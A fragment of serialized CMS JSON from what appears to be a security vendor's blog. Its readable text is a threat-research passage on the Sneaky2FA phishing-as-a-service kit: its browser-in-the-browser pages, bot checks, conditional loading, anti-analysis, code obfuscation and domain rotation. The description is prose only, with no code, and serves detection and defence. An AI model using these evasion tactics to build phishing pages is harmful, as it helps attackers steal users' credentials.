",{"data":96064,"content":96066,"nodeType":889},{"uri":96065},"https://phishing-techniques.pushsecurity.com/techniques/bot-protection/",[96067],{"data":96068,"marks":96069,"value":96071,"nodeType":865},{},[96070],{"type":943},"bot protection",{"data":96073,"marks":96074,"value":96075,"nodeType":865},{},[]," technologies like CAPTCHA and Cloudflare Turnstile to prevent security bots from accessing their web pages to be able to analyse them (and therefore block pages from being automatically flagged). This requires anyone visiting the page to pass a bot check/challenge before the page can be loaded, meaning the full page cannot be analysed by automated tools. ",{"data":96077,"content":96078,"nodeType":1317},{},[96079],{"data":96080,"marks":96081,"value":96083,"nodeType":865},{},[96082],{"type":926},"Stop unwanted visitors with conditional loading",{"data":96085,"content":96086,"nodeType":866},{},[96087,96090,96098],{"data":96088,"marks":96089,"value":21,"nodeType":865},{},[],{"data":96091,"content":96092,"nodeType":889},{"uri":66627},[96093],{"data":96094,"marks":96095,"value":96097,"nodeType":865},{},[96096],{"type":943},"Conditional loading",{"data":96099,"marks":96100,"value":96101,"nodeType":865},{},[]," techniques are used to prevent unwanted visitors from accessing the phishing page — reducing the chance that it is detected and flagged and extending the longevity of the phish. This often includes known security vendor IPs, VPN/proxy services, but is often used to target specific organizations (or even specific users within an organization). ",{"data":96103,"content":96104,"nodeType":866},{},[96105],{"data":96106,"marks":96107,"value":96108,"nodeType":865},{},[],"In this case, where the correct parameters are not supplied or the phishing site detects an unwanted variable, it will redirect to a benign wikibooks page. ",{"data":96110,"content":96114,"nodeType":912},{"target":96111},{"sys":96112},{"id":96113,"type":909,"linkType":910},"fN2XugiDIef8haTDapViT",[],{"data":96116,"content":96117,"nodeType":866},{},[96118,96122,96130,96134,96143],{"data":96119,"marks":96120,"value":96121,"nodeType":865},{},[],"Sneaky2FA has also been commonly observed using ",{"data":96123,"content":96124,"nodeType":889},{"uri":86190},[96125],{"data":96126,"marks":96127,"value":96129,"nodeType":865},{},[96128],{"type":943},"anti-analysis",{"data":96131,"marks":96132,"value":96133,"nodeType":865},{},[]," techniques to detect or ",{"data":96135,"content":96137,"nodeType":889},{"uri":96136},"https://blog.sekoia.io/sneaky-2fa-exposing-a-new-aitm-phishing-as-a-service/#:~:text=Sneaky%202FA%20pages%20use%20anti,we%20identified%20as%20Sneaky%202FA",[96138],{"data":96139,"marks":96140,"value":96142,"nodeType":865},{},[96141],{"type":943},"disable browser developer tools",{"data":96144,"marks":96145,"value":96146,"nodeType":865},{},[]," to block attempts to analyse the page for malicious content. ",{"data":96148,"content":96149,"nodeType":1317},{},[96150],{"data":96151,"marks":96152,"value":96154,"nodeType":865},{},[96153],{"type":926},"Page and code obfuscation",{"data":96156,"content":96157,"nodeType":866},{},[96158,96162,96171,96175,96184],{"data":96159,"marks":96160,"value":96161,"nodeType":865},{},[],"The HTML and JavaScript of Sneaky2FA pages are ",{"data":96163,"content":96165,"nodeType":889},{"uri":96164},"https://phishing-techniques.pushsecurity.com/techniques/page-obfuscation/",[96166],{"data":96167,"marks":96168,"value":96170,"nodeType":865},{},[96169],{"type":943},"heavily obfuscated",{"data":96172,"marks":96173,"value":96174,"nodeType":865},{},[]," to evade static detection and pattern-matching, ",{"data":96176,"content":96178,"nodeType":889},{"uri":96177},"https://blog.sekoia.io/sneaky-2fa-exposing-a-new-aitm-phishing-as-a-service/#:~:text=,%E2%80%9CNo%20account%3F%E2%80%9D%20and%20%E2%80%9CSign%20in%E2%80%9D",[96179],{"data":96180,"marks":96181,"value":96183,"nodeType":865},{},[96182],{"type":943},"such as",{"data":96185,"marks":96186,"value":96187,"nodeType":865},{},[]," breaking up UI text with invisible tags, embedding background and interface elements as encoded images instead of text, and other changes that are invisible to the user, but make it hard for scanning tools to fingerprint the page. ",{"data":96189,"content":96190,"nodeType":1317},{},[96191],{"data":96192,"marks":96193,"value":96195,"nodeType":865},{},[96194],{"type":926},"Domain rotation and URL masking",{"data":96197,"content":96198,"nodeType":866},{},[96199,96203,96212],{"data":96200,"marks":96201,"value":96202,"nodeType":865},{},[],"In addition to masking the phishing site URL presented to the user via the BITB window, Sneaky2FA has been seen using ",{"data":96204,"content":96206,"nodeType":889},{"uri":96205},"https://www.centripetal.ai/threat-research/typhoon-versus-sneaky",[96207],{"data":96208,"marks":96209,"value":96211,"nodeType":865},{},[96210],{"type":943},"stealthy hosting and domain tactics",{"data":96213,"marks":96214,"value":96215,"nodeType":865},{},[],". Each campaign uses a fresh, long, randomized URL (typically a 150-character path) on a benign-looking domain (often an old or compromised site). These domains are usually short-lived: many are taken down after just a few days or weeks. Analysts have observed that Sneaky2FA domains often lie dormant or serve harmless content until right before an attack, then quickly vanish after use. This “burn-and-replace” approach makes traditional defenses (which rely on domain reputation or pattern-matching) much weaker.",{"data":96217,"content":96220,"nodeType":912},{"target":96218},{"sys":96219},{"id":67359,"type":909,"linkType":910},[],{"data":96222,"content":96223,"nodeType":972},{},[],{"data":96225,"content":96226,"nodeType":981},{},[96227],{"data":96228,"marks":96229,"value":96231,"nodeType":865},{},[96230],{"type":926},"Are attackers moving to BITB? ",{"data":96233,"content":96234,"nodeType":866},{},[96235,96239,96248],{"data":96236,"marks":96237,"value":96238,"nodeType":865},{},[],"There is evidence that Sneaky2FAs shift to BITB might not be an isolated change. Raccoon0365 is another PhaaS service that has been seen utilizing BITB functionality after ",{"data":96240,"content":96242,"nodeType":889},{"uri":96241},"https://www.cloudflare.com/en-gb/threat-intelligence/research/report/cloudflare-participates-in-global-operation-to-disrupt-raccoono365/",[96243],{"data":96244,"marks":96245,"value":96247,"nodeType":865},{},[96246],{"type":943},"announcing a “BITB mini-panel”",{"data":96249,"marks":96250,"value":96251,"nodeType":865},{},[]," would be added as part of a service revamp. ",{"data":96253,"content":96257,"nodeType":912},{"target":96254},{"sys":96255},{"id":96256,"type":909,"linkType":910},"2sJUR9TVbZMU1v10Tq94Pz",[],{"data":96259,"content":96260,"nodeType":972},{},[],{"data":96262,"content":96263,"nodeType":981},{},[96264],{"data":96265,"marks":96266,"value":57175,"nodeType":865},{},[96267],{"type":926},{"data":96269,"content":96270,"nodeType":866},{},[96271],{"data":96272,"marks":96273,"value":96274,"nodeType":865},{},[],"Attackers are continuously innovating their phishing techniques, particularly in the context of an increasingly professionalized PhaaS ecosystem. With identity-based attacks continuing to be the leading cause of breaches, attackers are incentivized to refine and enhance their phishing infrastructure. ",{"data":96276,"content":96277,"nodeType":866},{},[96278],{"data":96279,"marks":96280,"value":96281,"nodeType":865},{},[],"The addition of BITB, with the frequent iteration and improvement of detection evasion techniques, means that traditional security controls such as email gateways, web filters, and signature-based defenses will continue to be reliably bypassed. ",{"data":96283,"content":96284,"nodeType":972},{},[],{"data":96286,"content":96287,"nodeType":981},{},[96288],{"data":96289,"marks":96290,"value":6331,"nodeType":865},{},[96291],{"type":926},{"data":96293,"content":96294,"nodeType":866},{},[96295],{"data":96296,"marks":96297,"value":86366,"nodeType":865},{},[],{"data":96299,"content":96300,"nodeType":866},{},[96301],{"data":96302,"marks":96303,"value":96304,"nodeType":865},{},[],"Despite the various detection evasion techniques, and the use of BITB methods, Push still detected this toolkit running on the page, enabling any attack to be detected and blocked before the user could be phished. Because we can inspect the live page, we detect malicious content loaded in the browser in real time. ",{"data":96306,"content":96307,"nodeType":866},{},[96308,96311,96317,96320,96326],{"data":96309,"marks":96310,"value":11372,"nodeType":865},{},[],{"data":96312,"content":96313,"nodeType":889},{"uri":11375},[96314],{"data":96315,"marks":96316,"value":11381,"nodeType":865},{},[],{"data":96318,"marks":96319,"value":53880,"nodeType":865},{},[],{"data":96321,"content":96322,"nodeType":889},{"uri":1372},[96323],{"data":96324,"marks":96325,"value":11405,"nodeType":865},{},[],{"data":96327,"marks":96328,"value":1615,"nodeType":865},{},[],{"data":96330,"content":96333,"nodeType":912},{"target":96331},{"sys":96332},{"id":67359,"type":909,"linkType":910},[],{"data":96335,"content":96336,"nodeType":866},{},[96337],{"data":96338,"marks":96339,"value":21,"nodeType":865},{},[],"Analyzing a BITB phishing page linked to the Sneaky2FA Phishing-as-a-Service operation. ","2025-11-18T00:00:00.000Z",{"items":96343},[96344,96346],{"sys":96345,"name":7796},{"id":7795},{"sys":96347,"name":342},{"id":4642},{"items":96349},[96350],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":96351},{"url":7804},{"__typename":1429,"sys":96353,"content":96354,"title":94775,"synopsis":94776,"hashTags":59,"publishedDate":94777,"slug":94778,"tagsCollection":96851,"authorsCollection":96857},{"id":94202},{"json":96355},{"data":96356,"content":96357,"nodeType":1382},{},[96358,96364,96370,96380,96385,96391,96394,96401,96407,96412,96425,96431,96452,96458,96463,96466,96473,96499,96504,96520,96525,96541,96547,96552,96555,96562,96568,96584,96590,96606,96612,96617,96620,96627,96633,96663,96669,96675,96715,96730,96739,96745,96748,96755,96771,96777,96783,96788,96791,96798,96814,96840,96845],{"data":96359,"content":96360,"nodeType":866},{},[96361],{"data":96362,"marks":96363,"value":94213,"nodeType":865},{},[],{"data":96365,"content":96366,"nodeType":866},{},[96367],{"data":96368,"marks":96369,"value":94220,"nodeType":865},{},[],{"data":96371,"content":96372,"nodeType":866},{},[96373,96376],{"data":96374,"marks":96375,"value":94227,"nodeType":865},{},[],{"data":96377,"marks":96378,"value":94232,"nodeType":865},{},[96379],{"type":926},{"data":96381,"content":96384,"nodeType":912},{"target":96382},{"sys":96383},{"id":66806,"type":909,"linkType":910},[],{"data":96386,"content":96387,"nodeType":866},{},[96388],{"data":96389,"marks":96390,"value":94244,"nodeType":865},{},[],{"data":96392,"content":96393,"nodeType":972},{},[],{"data":96395,"content":96396,"nodeType":981},{},[96397],{"data":96398,"marks":96399,"value":94255,"nodeType":865},{},[96400],{"type":926},{"data":96402,"content":96403,"nodeType":866},{},[96404],{"data":96405,"marks":96406,"value":94262,"nodeType":865},{},[],{"data":96408,"content":96411,"nodeType":912},{"target":96409},{"sys":96410},{"id":94267,"type":909,"linkType":910},[],{"data":96413,"content":96414,"nodeType":866},{},[96415,96418,96422],{"data":96416,"marks":96417,"value":94275,"nodeType":865},{},[],{"data":96419,"marks":96420,"value":94280,"nodeType":865},{},[96421],{"type":926},{"data":96423,"marks":96424,"value":94284,"nodeType":865},{},[],{"data":96426,"content":96427,"nodeType":866},{},[96428],{"data":96429,"marks":96430,"value":94291,"nodeType":865},{},[],{"data":96432,"content":96433,"nodeType":1616},{},[96434,96443],{"data":96435,"content":96436,"nodeType":1570},{},[96437],{"data":96438,"content":96439,"nodeType":866},{},[96440],{"data":96441,"marks":96442,"value":94304,"nodeType":865},{},[],{"data":96444,"content":96445,"nodeType":1570},{},[96446],{"data":96447,"content":96448,"nodeType":866},{},[96449],{"data":96450,"marks":96451,"value":94314,"nodeType":865},{},[],{"data":96453,"content":96454,"nodeType":866},{},[96455],{"data":96456,"marks":96457,"value":94321,"nodeType":865},{},[],{"data":96459,"content":96462,"nodeType":912},{"target":96460},{"sys":96461},{"id":94326,"type":909,"linkType":910},[],{"data":96464,"content":96465,"nodeType":972},{},[],{"data":96467,"content":96468,"nodeType":981},{},[96469],{"data":96470,"marks":96471,"value":94338,"nodeType":865},{},[96472],{"type":926},{"data":96474,"content":96475,"nodeType":866},{},[96476,96479,96486,96489,96496],{"data":96477,"marks":96478,"value":94345,"nodeType":865},{},[],{"data":96480,"content":96481,"nodeType":889},{"uri":66817},[96482],{"data":96483,"marks":96484,"value":94353,"nodeType":865},{},[96485],{"type":943},{"data":96487,"marks":96488,"value":94357,"nodeType":865},{},[],{"data":96490,"content":96491,"nodeType":889},{"uri":94360},[96492],{"data":96493,"marks":96494,"value":94366,"nodeType":865},{},[96495],{"type":943},{"data":96497,"marks":96498,"value":94370,"nodeType":865},{},[],{"data":96500,"content":96503,"nodeType":912},{"target":96501},{"sys":96502},{"id":94375,"type":909,"linkType":910},[],{"data":96505,"content":96506,"nodeType":866},{},[96507,96510,96517],{"data":96508,"marks":96509,"value":94383,"nodeType":865},{},[],{"data":96511,"content":96512,"nodeType":889},{"uri":94386},[96513],{"data":96514,"marks":96515,"value":94392,"nodeType":865},{},[96516],{"type":943},{"data":96518,"marks":96519,"value":14251,"nodeType":865},{},[],{"data":96521,"content":96524,"nodeType":912},{"target":96522},{"sys":96523},{"id":94400,"type":909,"linkType":910},[],{"data":96526,"content":96527,"nodeType":866},{},[96528,96531,96538],{"data":96529,"marks":96530,"value":94408,"nodeType":865},{},[],{"data":96532,"content":96533,"nodeType":889},{"uri":94411},[96534],{"data":96535,"marks":96536,"value":8868,"nodeType":865},{},[96537],{"type":943},{"data":96539,"marks":96540,"value":94420,"nodeType":865},{},[],{"data":96542,"content":96543,"nodeType":866},{},[96544],{"data":96545,"marks":96546,"value":94427,"nodeType":865},{},[],{"data":96548,"content":96551,"nodeType":912},{"target":96549},{"sys":96550},{"id":94432,"type":909,"linkType":910},[],{"data":96553,"content":96554,"nodeType":972},{},[],{"data":96556,"content":96557,"nodeType":981},{},[96558],{"data":96559,"marks":96560,"value":94444,"nodeType":865},{},[96561],{"type":926},{"data":96563,"content":96564,"nodeType":866},{},[96565],{"data":96566,"marks":96567,"value":94451,"nodeType":865},{},[],{"data":96569,"content":96570,"nodeType":866},{},[96571,96574,96581],{"data":96572,"marks":96573,"value":94458,"nodeType":865},{},[],{"data":96575,"content":96576,"nodeType":889},{"uri":94461},[96577],{"data":96578,"marks":96579,"value":94467,"nodeType":865},{},[96580],{"type":943},{"data":96582,"marks":96583,"value":94471,"nodeType":865},{},[],{"data":96585,"content":96586,"nodeType":866},{},[96587],{"data":96588,"marks":96589,"value":94478,"nodeType":865},{},[],{"data":96591,"content":96592,"nodeType":866},{},[96593,96596,96603],{"data":96594,"marks":96595,"value":94485,"nodeType":865},{},[],{"data":96597,"content":96598,"nodeType":889},{"uri":94488},[96599],{"data":96600,"marks":96601,"value":94494,"nodeType":865},{},[96602],{"type":943},{"data":96604,"marks":96605,"value":94498,"nodeType":865},{},[],{"data":96607,"content":96608,"nodeType":866},{},[96609],{"data":96610,"marks":96611,"value":94505,"nodeType":865},{},[],{"data":96613,"content":96616,"nodeType":912},{"target":96614},{"sys":96615},{"id":94510,"type":909,"linkType":910},[],{"data":96618,"content":96619,"nodeType":972},{},[],{"data":96621,"content":96622,"nodeType":981},{},[96623],{"data":96624,"marks":96625,"value":94522,"nodeType":865},{},[96626],{"type":926},{"data":96628,"content":96629,"nodeType":866},{},[96630],{"data":96631,"marks":96632,"value":94529,"nodeType":865},{},[],{"data":96634,"content":96635,"nodeType":1616},{},[96636,96645,96654],{"data":96637,"content":96638,"nodeType":1570},{},[96639],{"data":96640,"content":96641,"nodeType":866},{},[96642],{"data":96643,"marks":96644,"value":94542,"nodeType":865},{},[],{"data":96646,"content":96647,"nodeType":1570},{},[96648],{"data":96649,"content":96650,"nodeType":866},{},[96651],{"data":96652,"marks":96653,"value":94552,"nodeType":865},{},[],{"data":96655,"content":96656,"nodeType":1570},{},[96657],{"data":96658,"content":96659,"nodeType":866},{},[96660],{"data":96661,"marks":96662,"value":94562,"nodeType":865},{},[],{"data":96664,"content":96665,"nodeType":866},{},[96666],{"data":96667,"marks":96668,"value":94569,"nodeType":865},{},[],{"data":96670,"content":96671,"nodeType":866},{},[96672],{"data":96673,"marks":96674,"value":94576,"nodeType":865},{},[],{"data":96676,"content":96677,"nodeType":1616},{},[96678,96697,96706],{"data":96679,"content":96680,"nodeType":1570},{},[96681],{"data":96682,"content":96683,"nodeType":866},{},[96684,96687,96694],{"data":96685,"marks":96686,"value":94589,"nodeType":865},{},[],{"data":96688,"content":96689,"nodeType":889},{"uri":94592},[96690],{"data":96691,"marks":96692,"value":94598,"nodeType":865},{},[96693],{"type":943},{"data":96695,"marks":96696,"value":94602,"nodeType":865},{},[],{"data":96698,"content":96699,"nodeType":1570},{},[96700],{"data":96701,"content":96702,"nodeType":866},{},[96703],{"data":96704,"marks":96705,"value":94612,"nodeType":865},{},[],{"data":96707,"content":96708,"nodeType":1570},{},[96709],{"data":96710,"content":96711,"nodeType":866},{},[96712],{"data":96713,"marks":96714,"value":94622,"nodeType":865},{},[],{"data":96716,"content":96717,"nodeType":866},{},[96718,96721,96727],{"data":96719,"marks":96720,"value":94629,"nodeType":865},{},[],{"data":96722,"content":96723,"nodeType":889},{"uri":53672},[96724],{"data":96725,"marks":96726,"value":94636,"nodeType":865},{},[],{"data":96728,"marks":96729,"value":94640,"nodeType":865},{},[],{"data":96731,"content":96732,"nodeType":7584},{},[96733],{"data":96734,"content":96735,"nodeType":866},{},[96736],{"data":96737,"marks":96738,"value":94650,"nodeType":865},{},[],{"data":96740,"content":96741,"nodeType":866},{},[96742],{"data":96743,"marks":96744,"value":94657,"nodeType":865},{},[],{"data":96746,"content":96747,"nodeType":972},{},[],{"data":96749,"content":96750,"nodeType":981},{},[96751],{"data":96752,"marks":96753,"value":94668,"nodeType":865},{},[96754],{"type":926},{"data":96756,"content":96757,"nodeType":866},{},[96758,96761,96768],{"data":96759,"marks":96760,"value":94675,"nodeType":865},{},[],{"data":96762,"content":96763,"nodeType":889},{"uri":94678},[96764],{"data":96765,"marks":96766,"value":94684,"nodeType":865},{},[96767],{"type":943},{"data":96769,"marks":96770,"value":94688,"nodeType":865},{},[],{"data":96772,"content":96773,"nodeType":866},{},[96774],{"data":96775,"marks":96776,"value":94695,"nodeType":865},{},[],{"data":96778,"content":96779,"nodeType":866},{},[96780],{"data":96781,"marks":96782,"value":94702,"nodeType":865},{},[],{"data":96784,"content":96787,"nodeType":912},{"target":96785},{"sys":96786},{"id":80102,"type":909,"linkType":910},[],{"data":96789,"content":96790,"nodeType":972},{},[],{"data":96792,"content":96793,"nodeType":981},{},[96794],{"data":96795,"marks":96796,"value":34483,"nodeType":865},{},[96797],{"type":926},{"data":96799,"content":96800,"nodeType":866},{},[96801,96804,96811],{"data":96802,"marks":96803,"value":94724,"nodeType":865},{},[],{"data":96805,"content":96806,"nodeType":889},{"uri":94727},[96807],{"data":96808,"marks":96809,"value":94733,"nodeType":865},{},[96810],{"type":943},{"data":96812,"marks":96813,"value":94737,"nodeType":865},{},[],{"data":96815,"content":96816,"nodeType":866},{},[96817,96820,96827,96830,96837],{"data":96818,"marks":96819,"value":11372,"nodeType":865},{},[],{"data":96821,"content":96822,"nodeType":889},{"uri":11375},[96823],{"data":96824,"marks":96825,"value":11381,"nodeType":865},{},[96826],{"type":943},{"data":96828,"marks":96829,"value":53880,"nodeType":865},{},[],{"data":96831,"content":96832,"nodeType":889},{"uri":1372},[96833],{"data":96834,"marks":96835,"value":11405,"nodeType":865},{},[96836],{"type":943},{"data":96838,"marks":96839,"value":1615,"nodeType":865},{},[],{"data":96841,"content":96844,"nodeType":912},{"target":96842},{"sys":96843},{"id":94326,"type":909,"linkType":910},[],{"data":96846,"content":96847,"nodeType":866},{},[96848],{"data":96849,"marks":96850,"value":21,"nodeType":865},{},[],{"items":96852},[96853,96855],{"sys":96854,"name":342},{"id":4642},{"sys":96856,"name":7796},{"id":7795},{"items":96858},[96859],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":96860},{"url":7804},"blog/analysing-a-malvertising-attack-targeting-business-google-accounts",{"json":96863},{"data":96864,"content":96865,"nodeType":1382},{},[96866],{"data":96867,"content":96868,"nodeType":866},{},[96869],{"data":96870,"marks":96871,"value":96872,"nodeType":865},{},[],"Our browser-based security platform recently intercepted a malvertising attack against Push customers. This attack was notable in that it used malvertising via Google Search as the delivery vector, circumventing email-based security controls. Here’s our breakdown. ",{"id":79669,"publishedAt":96874},"2026-08-12T11:53:30.929Z",{"items":96876},[96877,96879],{"sys":96878,"name":342},{"id":4642},{"sys":96880,"name":7796},{"id":7795},{"items":96882},[96883,96885,96887,96889,96891,96893,96895,96897,96899,96901,96903],{"sys":96884,"name":279,"slug":280,"tier":31},{"id":276},{"sys":96886,"name":519,"slug":520,"tier":31},{"id":516},{"sys":96888,"name":342,"slug":343,"tier":31},{"id":339},{"sys":96890,"name":440,"slug":441,"tier":45},{"id":437},{"sys":96892,"name":261,"slug":262,"tier":45},{"id":258},{"sys":96894,"name":324,"slug":325,"tier":45},{"id":321},{"sys":96896,"name":571,"slug":572,"tier":45},{"id":568},{"sys":96898,"name":466,"slug":467,"tier":45},{"id":463},{"sys":96900,"name":475,"slug":476,"tier":45},{"id":472},{"sys":96902,"name":431,"slug":432,"tier":45},{"id":428},{"sys":96904,"name":351,"slug":352,"tier":45},{"id":348},"kjD7b3j4dqsCYR9hli6DJMK3c1DHwzPgGGSLdzwWoSY",{"id":96907,"title":36710,"authorsCollection":96908,"content":96913,"extension":228,"faqItemsCollection":97595,"faqTitle":59,"featured":6,"hashTags":59,"meta":97597,"metaTitle":97598,"ogImage":59,"postType":42959,"publishedDate":85820,"relatedBlogPostsCollection":97599,"slug":36711,"stem":99260,"subtitle":59,"summary":99261,"synopsis":86410,"sys":99272,"tagsCollection":99274,"topicsCollection":99280,"__hash__":99312},"blog/blog/uncovering-a-calendly-themed-phishing-campaign.json",{"items":96909},[96910],{"fullName":11421,"firstName":11422,"jobTitle":11423,"socialLinks":96911,"profilePicture":96912},[62480],{"url":11425},{"json":96914,"links":97421},{"data":96915,"content":96916,"nodeType":1382},{},[96917,96923,96929,96935,96940,96946,96949,96956,96962,96968,96974,96979,96985,96990,96996,97001,97007,97012,97038,97044,97049,97055,97060,97066,97071,97077,97116,97119,97126,97132,97138,97144,97149,97152,97159,97165,97181,97186,97191,97196,97202,97207,97212,97228,97231,97238,97254,97259,97265,97281,97288,97294,97300,97306,97322,97329,97335,97340,97343,97350,97356,97362,97365,97372,97378,97384,97410,97415],{"data":96918,"content":96919,"nodeType":866},{},[96920],{"data":96921,"marks":96922,"value":85844,"nodeType":865},{},[],{"data":96924,"content":96925,"nodeType":866},{},[96926],{"data":96927,"marks":96928,"value":85851,"nodeType":865},{},[],{"data":96930,"content":96931,"nodeType":866},{},[96932],{"data":96933,"marks":96934,"value":85858,"nodeType":865},{},[],{"data":96936,"content":96939,"nodeType":912},{"target":96937},{"sys":96938},{"id":85863,"type":909,"linkType":910},[],{"data":96941,"content":96942,"nodeType":866},{},[96943],{"data":96944,"marks":96945,"value":85871,"nodeType":865},{},[],{"data":96947,"content":96948,"nodeType":972},{},[],{"data":96950,"content":96951,"nodeType":981},{},[96952],{"data":96953,"marks":96954,"value":85882,"nodeType":865},{},[96955],{"type":926},{"data":96957,"content":96958,"nodeType":866},{},[96959],{"data":96960,"marks":96961,"value":85889,"nodeType":865},{},[],{"data":96963,"content":96964,"nodeType":866},{},[96965],{"data":96966,"marks":96967,"value":85896,"nodeType":865},{},[],{"data":96969,"content":96970,"nodeType":866},{},[96971],{"data":96972,"marks":96973,"value":85903,"nodeType":865},{},[],{"data":96975,"content":96978,"nodeType":912},{"target":96976},{"sys":96977},{"id":85908,"type":909,"linkType":910},[],{"data":96980,"content":96981,"nodeType":866},{},[96982],{"data":96983,"marks":96984,"value":85916,"nodeType":865},{},[],{"data":96986,"content":96989,"nodeType":912},{"target":96987},{"sys":96988},{"id":85921,"type":909,"linkType":910},[],{"data":96991,"content":96992,"nodeType":866},{},[96993],{"data":96994,"marks":96995,"value":85929,"nodeType":865},{},[],{"data":96997,"content":97000,"nodeType":912},{"target":96998},{"sys":96999},{"id":85934,"type":909,"linkType":910},[],{"data":97002,"content":97003,"nodeType":866},{},[97004],{"data":97005,"marks":97006,"value":85942,"nodeType":865},{},[],{"data":97008,"content":97011,"nodeType":912},{"target":97009},{"sys":97010},{"id":85947,"type":909,"linkType":910},[],{"data":97013,"content":97014,"nodeType":866},{},[97015,97018,97025,97028,97035],{"data":97016,"marks":97017,"value":85955,"nodeType":865},{},[],{"data":97019,"content":97020,"nodeType":889},{"uri":66627},[97021],{"data":97022,"marks":97023,"value":85963,"nodeType":865},{},[97024],{"type":943},{"data":97026,"marks":97027,"value":85967,"nodeType":865},{},[],{"data":97029,"content":97030,"nodeType":889},{"uri":8862},[97031],{"data":97032,"marks":97033,"value":37925,"nodeType":865},{},[97034],{"type":943},{"data":97036,"marks":97037,"value":85978,"nodeType":865},{},[],{"data":97039,"content":97040,"nodeType":866},{},[97041],{"data":97042,"marks":97043,"value":85985,"nodeType":865},{},[],{"data":97045,"content":97048,"nodeType":912},{"target":97046},{"sys":97047},{"id":85990,"type":909,"linkType":910},[],{"data":97050,"content":97051,"nodeType":866},{},[97052],{"data":97053,"marks":97054,"value":85998,"nodeType":865},{},[],{"data":97056,"content":97059,"nodeType":912},{"target":97057},{"sys":97058},{"id":86003,"type":909,"linkType":910},[],{"data":97061,"content":97062,"nodeType":866},{},[97063],{"data":97064,"marks":97065,"value":86011,"nodeType":865},{},[],{"data":97067,"content":97070,"nodeType":912},{"target":97068},{"sys":97069},{"id":86016,"type":909,"linkType":910},[],{"data":97072,"content":97073,"nodeType":866},{},[97074],{"data":97075,"marks":97076,"value":86024,"nodeType":865},{},[],{"data":97078,"content":97079,"nodeType":1616},{},[97080,97089,97098,97107],{"data":97081,"content":97082,"nodeType":1570},{},[97083],{"data":97084,"content":97085,"nodeType":866},{},[97086],{"data":97087,"marks":97088,"value":86037,"nodeType":865},{},[],{"data":97090,"content":97091,"nodeType":1570},{},[97092],{"data":97093,"content":97094,"nodeType":866},{},[97095],{"data":97096,"marks":97097,"value":86047,"nodeType":865},{},[],{"data":97099,"content":97100,"nodeType":1570},{},[97101],{"data":97102,"content":97103,"nodeType":866},{},[97104],{"data":97105,"marks":97106,"value":86057,"nodeType":865},{},[],{"data":97108,"content":97109,"nodeType":1570},{},[97110],{"data":97111,"content":97112,"nodeType":866},{},[97113],{"data":97114,"marks":97115,"value":86067,"nodeType":865},{},[],{"data":97117,"content":97118,"nodeType":972},{},[],{"data":97120,"content":97121,"nodeType":981},{},[97122],{"data":97123,"marks":97124,"value":86078,"nodeType":865},{},[97125],{"type":926},{"data":97127,"content":97128,"nodeType":866},{},[97129],{"data":97130,"marks":97131,"value":86085,"nodeType":865},{},[],{"data":97133,"content":97134,"nodeType":866},{},[97135],{"data":97136,"marks":97137,"value":86092,"nodeType":865},{},[],{"data":97139,"content":97140,"nodeType":866},{},[97141],{"data":97142,"marks":97143,"value":86099,"nodeType":865},{},[],{"data":97145,"content":97148,"nodeType":912},{"target":97146},{"sys":97147},{"id":86104,"type":909,"linkType":910},[],{"data":97150,"content":97151,"nodeType":972},{},[],{"data":97153,"content":97154,"nodeType":981},{},[97155],{"data":97156,"marks":97157,"value":86116,"nodeType":865},{},[97158],{"type":926},{"data":97160,"content":97161,"nodeType":866},{},[97162],{"data":97163,"marks":97164,"value":86123,"nodeType":865},{},[],{"data":97166,"content":97167,"nodeType":866},{},[97168,97171,97178],{"data":97169,"marks":97170,"value":86130,"nodeType":865},{},[],{"data":97172,"content":97173,"nodeType":889},{"uri":86133},[97174],{"data":97175,"marks":97176,"value":86139,"nodeType":865},{},[97177],{"type":943},{"data":97179,"marks":97180,"value":86143,"nodeType":865},{},[],{"data":97182,"content":97185,"nodeType":912},{"target":97183},{"sys":97184},{"id":86148,"type":909,"linkType":910},[],{"data":97187,"content":97190,"nodeType":912},{"target":97188},{"sys":97189},{"id":86154,"type":909,"linkType":910},[],{"data":97192,"content":97195,"nodeType":912},{"target":97193},{"sys":97194},{"id":86160,"type":909,"linkType":910},[],{"data":97197,"content":97198,"nodeType":866},{},[97199],{"data":97200,"marks":97201,"value":86168,"nodeType":865},{},[],{"data":97203,"content":97206,"nodeType":912},{"target":97204},{"sys":97205},{"id":86173,"type":909,"linkType":910},[],{"data":97208,"content":97211,"nodeType":912},{"target":97209},{"sys":97210},{"id":86179,"type":909,"linkType":910},[],{"data":97213,"content":97214,"nodeType":866},{},[97215,97218,97225],{"data":97216,"marks":97217,"value":86187,"nodeType":865},{},[],{"data":97219,"content":97220,"nodeType":889},{"uri":86190},[97221],{"data":97222,"marks":97223,"value":86196,"nodeType":865},{},[97224],{"type":943},{"data":97226,"marks":97227,"value":86200,"nodeType":865},{},[],{"data":97229,"content":97230,"nodeType":972},{},[],{"data":97232,"content":97233,"nodeType":981},{},[97234],{"data":97235,"marks":97236,"value":86211,"nodeType":865},{},[97237],{"type":926},{"data":97239,"content":97240,"nodeType":866},{},[97241,97244,97251],{"data":97242,"marks":97243,"value":86218,"nodeType":865},{},[],{"data":97245,"content":97246,"nodeType":889},{"uri":86221},[97247],{"data":97248,"marks":97249,"value":8868,"nodeType":865},{},[97250],{"type":943},{"data":97252,"marks":97253,"value":86230,"nodeType":865},{},[],{"data":97255,"content":97258,"nodeType":912},{"target":97256},{"sys":97257},{"id":86235,"type":909,"linkType":910},[],{"data":97260,"content":97261,"nodeType":866},{},[97262],{"data":97263,"marks":97264,"value":86243,"nodeType":865},{},[],{"data":97266,"content":97267,"nodeType":866},{},[97268,97271,97278],{"data":97269,"marks":97270,"value":85613,"nodeType":865},{},[],{"data":97272,"content":97273,"nodeType":889},{"uri":14355},[97274],{"data":97275,"marks":97276,"value":315,"nodeType":865},{},[97277],{"type":943},{"data":97279,"marks":97280,"value":85624,"nodeType":865},{},[],{"data":97282,"content":97283,"nodeType":1317},{},[97284],{"data":97285,"marks":97286,"value":86267,"nodeType":865},{},[97287],{"type":926},{"data":97289,"content":97290,"nodeType":866},{},[97291],{"data":97292,"marks":97293,"value":86274,"nodeType":865},{},[],{"data":97295,"content":97296,"nodeType":866},{},[97297],{"data":97298,"marks":97299,"value":86281,"nodeType":865},{},[],{"data":97301,"content":97302,"nodeType":866},{},[97303],{"data":97304,"marks":97305,"value":85592,"nodeType":865},{},[],{"data":97307,"content":97308,"nodeType":866},{},[97309,97312,97319],{"data":97310,"marks":97311,"value":86294,"nodeType":865},{},[],{"data":97313,"content":97314,"nodeType":889},{"uri":4991},[97315],{"data":97316,"marks":97317,"value":8673,"nodeType":865},{},[